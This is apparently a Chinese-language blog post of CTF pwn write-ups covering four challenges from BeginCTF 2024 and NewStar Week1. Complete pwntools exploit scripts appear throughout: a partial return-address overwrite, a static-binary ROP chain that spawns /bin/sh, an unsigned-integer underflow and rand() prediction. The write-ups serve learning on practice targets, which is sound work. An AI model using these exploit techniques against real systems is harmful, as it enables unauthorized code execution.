杂七杂八wp(NewStar_Week1和BeginCTF2024的部分pwn)

碎碎念

咱就一纯小白,以为带了Begin这一单词的CTF能对我仁慈一点,结果吧,太喜欢了,被狠狠拷打,从头自闭到尾,属于是从这次比赛又狠狠学习到不少知识了
废话不多说,上正文嘞

BeginCTF

One_byte

checksec

image
嗯,基本啥都开了,喜欢捏。但是尊贵的CTFer,该“源审,启动!”了
image
可以看到两个read,一个是从buf里读取1字节"flag"(千万不要跟我一样傻到以为是灌输据的地方,是3不是0),也对应了题目,第二个read能读取0x12个字节,除此之外啥也没了。基于上述保护机制,栈溢出属于是没法用的,那就再找找咯。
找一找就发现问题所在了,"flag"文件一直处于open状态而没有close过,那么要是我们能循环main函数,那么第一个read函数就能一直往后读取"flag"。那么我们的思路就是明了了,将ret地址修改到调用main函数之前。

gdb时间!

image
可以看到main函数的返回地址是__libc_start_call_main + 128,我们只要把它覆盖掉就好,再来反编译它,太长了直接CV

   0x00007ffff7daed10 <+0>: push   rax
   0x00007ffff7daed11 <+1>: pop    rax
   0x00007ffff7daed12 <+2>: sub    rsp,0x98
   0x00007ffff7daed19 <+9>: mov    QWORD PTR [rsp+0x8],rdi
   0x00007ffff7daed1e <+14>:    lea    rdi,[rsp+0x20]
   0x00007ffff7daed23 <+19>:    mov    DWORD PTR [rsp+0x14],esi
   0x00007ffff7daed27 <+23>:    mov    QWORD PTR [rsp+0x18],rdx
   0x00007ffff7daed2c <+28>:    mov    rax,QWORD PTR fs:0x28
   0x00007ffff7daed35 <+37>:    mov    QWORD PTR [rsp+0x88],rax
   0x00007ffff7daed3d <+45>:    xor    eax,eax
   0x00007ffff7daed3f <+47>:    call   0x7ffff7dc71e0 <_setjmp>
   0x00007ffff7daed44 <+52>:    endbr64 
   0x00007ffff7daed48 <+56>:    test   eax,eax
   0x00007ffff7daed4a <+58>:    jne    0x7ffff7daed97 <__libc_start_call_main+135>
   0x00007ffff7daed4c <+60>:    mov    rax,QWORD PTR fs:0x300
   0x00007ffff7daed55 <+69>:    mov    QWORD PTR [rsp+0x68],rax
   0x00007ffff7daed5a <+74>:    mov    rax,QWORD PTR fs:0x2f8
   0x00007ffff7daed63 <+83>:    mov    QWORD PTR [rsp+0x70],rax
   0x00007ffff7daed68 <+88>:    lea    rax,[rsp+0x20]
   0x00007ffff7daed6d <+93>:    mov    QWORD PTR fs:0x300,rax
   0x00007ffff7daed76 <+102>:   mov    rax,QWORD PTR [rip+0x1f023b]        # 0x7ffff7f9efb8
   0x00007ffff7daed7d <+109>:   mov    edi,DWORD PTR [rsp+0x14]
   0x00007ffff7daed81 <+113>:   mov    rsi,QWORD PTR [rsp+0x18]
   0x00007ffff7daed86 <+118>:   mov    rdx,QWORD PTR [rax]
   0x00007ffff7daed89 <+121>:   mov    rax,QWORD PTR [rsp+0x8]
   0x00007ffff7daed8e <+126>:   call   rax
   0x00007ffff7daed90 <+128>:   mov    edi,eax
   0x00007ffff7daed92 <+130>:   call   0x7ffff7dca5f0 <__GI_exit>
   0x00007ffff7daed97 <+135>:   call   0x7ffff7e165f0 <__GI___nptl_deallocate_tsd>
   0x00007ffff7daed9c <+140>:   lock dec DWORD PTR [rip+0x1f0505]        # 0x7ffff7f9f2a8 <__nptl_nthreads>
   0x00007ffff7daeda3 <+147>:   sete   al
   0x00007ffff7daeda6 <+150>:   test   al,al
   0x00007ffff7daeda8 <+152>:   jne    0x7ffff7daedb8 <__libc_start_call_main+168>
   0x00007ffff7daedaa <+154>:   mov    edx,0x3c
   0x00007ffff7daedaf <+159>:   nop
   0x00007ffff7daedb0 <+160>:   xor    edi,edi
   0x00007ffff7daedb2 <+162>:   mov    eax,edx
   0x00007ffff7daedb4 <+164>:   syscall 
   0x00007ffff7daedb6 <+166>:   jmp    0x7ffff7daedb0 <__libc_start_call_main+160>
   0x00007ffff7daedb8 <+168>:   xor    edi,edi
   0x00007ffff7daedba <+170>:   jmp    0x7ffff7daed92 <__libc_start_call_main+130>

我们可以发现,在+126处调用了rax,那么我们使用在它之前的地址就好,也就是mov rax,QWORD PTR [rsp+0x8]这里,它的最低字节地址为89,所以我们使用\x89即可(毕竟libc_start_main一般可是最早调用的函数呢)

payload如下

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('101.32.220.189',30415)
#p = process('./one_byte')
go_back_main = '\x89'
payload = b'a' * 0x11 + b'\x89'
flag = ''
for i in range(50):
    p.recvuntil('Here is your gift:')
    flag += p.recv(1).decode()
    p.recvuntil('Are you satisfied with the result?\n')
    p.sendline(payload)
print(flag)
p.interactive()

感想

最开始做这道题的时候,我是不懂还能劫持main函数的返回地址的,一直思索怎么循环main函数而不解其道,被平时的思维给限制住了,又被PIE保护给吓到了。不过说到底还是见题太少了,其实就是简单栈溢出的一点点变形,把平时ret到system地址变成了libc_start_call_main的地址而已,我太笨了(悲)

gift_rop

checksec

image
开启了NX保护和Canary,再代码审计
image
image

发现这是个静态编译的ELF文件,且能够在data段内找到bin/sh,意味着有大量的rop链可供我们使用,主要思路就是要构造rop链执行bin/sh

ROP链构造

因为太多了我就截图一些关键的
image
image
image
image
image
ROPgadget里的ropchain模块可以快速构造rop链(适用于静态编译),我们只需把后面的add rax 1 ; ret修改成add rax 2 ; ret'add rax 3 ; ret的地址就好,凑到59执行syscall。至于为什么不一直叠add rax 1 ; ret,这是因为main函数里read只能读取512个字节,而一直叠 rax 1会导致字节溢出,没法用syscall调用exceve函数执行bin/sh

payload

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#elf = process('../gift_rop')
elf = remote('101.32.220.189',30432)
from struct import pack

# Padding goes here
p = b''

p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000448077) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1d0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000047f20b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000043d1d0) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471280) # add rax, 3 ; ret
p += pack('<Q', 0x0000000000471267) # add rax, 2 ; ret
p += pack('<Q', 0x0000000000401ce4) # syscall
elf.sendlineafter(b'checkin problem.\n',b'a'*(0x20 + 0x08) + p)
elf.interactive()

PS:其实用pwntools里提供的rop函数会更加快捷,但是我还并不熟悉它的函数使用效果,所以就用这种比较原始的方法硬叠起来
在getshell后,别忘了用文件重定向exec 1>&0,因为在main函数里close(1)和clsoe(2)关闭了标准输出流和错误输出流,相当于你什么也看不到了,需要重定向标准输出
还有,在本地打是没办法打通的,根据官方wp的说法,pwntools在发现交互的程序标准输出和标准错误输出之后会报[*] Got EOF while reading in interactive,本地是无法成功的

感想

这是我学习以来第一次写静态编译的题,也是我第一次使用ropchain和文件重定向,算是get到了新的姿势。不过我有一个问题,为什么它都溢出了但是Canary没有把它拦下来反而让他继续往后执行了,这也是我一开始做的时候不敢下手的原因

NewSTarCTF Week1

newstar_shop

源审

我就截几张比较关键的图
image
image

image
image
可以看到,提示给的很明显。因为money的数据类型是unsigned int,所以只要把它变为负值,它就会从2^32-1开始减掉,就可以购买shell了。所以现在我们就是要想办法如何把money花完并且欠账,那么我们只需要知道money的初始值并且花掉就好,万幸,初始值是给了的,就是64
image

payload

其实已经差不多了,直接nc随便买个商品然后再去don't try里扣钱,那么我们就是超级大富翁了,就可以购买shell了
如果你真想用脚本那也是有

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node5.buuoj.cn',28207)
p.sendline(b'1')
p.sendline(b'2')
p.sendline(b'1')
p.sendline(b'1')
p.sendline(b'3')
p.sendline(b'1')
p.sendline(b'3')
p.interactive()

感想

其实算是比较简单的整数溢出题,但是开始的时候我都忘了don't try可以扣钱,还在想着怎么才能成为逆向大富翁,属于是考察细心程度了

Random

代码审计

image
image
题如其名,随机数,也给了后门函数,把command变成$0即可,就是需要动点脑筋

思路

在v6等于v8的情况下,我们要使得v9[v4 %2] == $v3 =-= 0,而v9是个数组,当且仅当v4 % 2 == 1v3 % 5 == 2时,可以得到$0。因为随机数种子为0,所以我们不仅需要获得对应libc,还要进行多次爆破才有可能恰好满足三者的条件

payload

from pwn import *
from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
for i in range(1000):
    p = remote('node5.buuoj.cn',28116)
    mylibc = cdll.LoadLibrary('libc.so.6')
    mylibc.srand(mylibc.time(0))
    try:
        v6 = mylibc.rand()
        v3 = mylibc.rand()
        v4  = mylibc.rand()
        if((v3%5 == 2)and(v4%2 == 1)):
            p.sendline(str(v6))
            p.interactive()
    except:
        continue
    finally:
        p.close()
        sleep(1)

感想

这道题主要考察的就时ctypes库的应用,再稍微动一点点脑筋就可以解出来了。不过好久没用过ctypes里了都有些生疏要上网查如何使用了(悲
想了解ctypes的师傅们看看这位佬的博客~

https://blog.csdn.net/freeking101/article/details/124982244

posted @ 2024-03-02 11:35  Falling_Dusk  阅读(112)  评论(0编辑  收藏  举报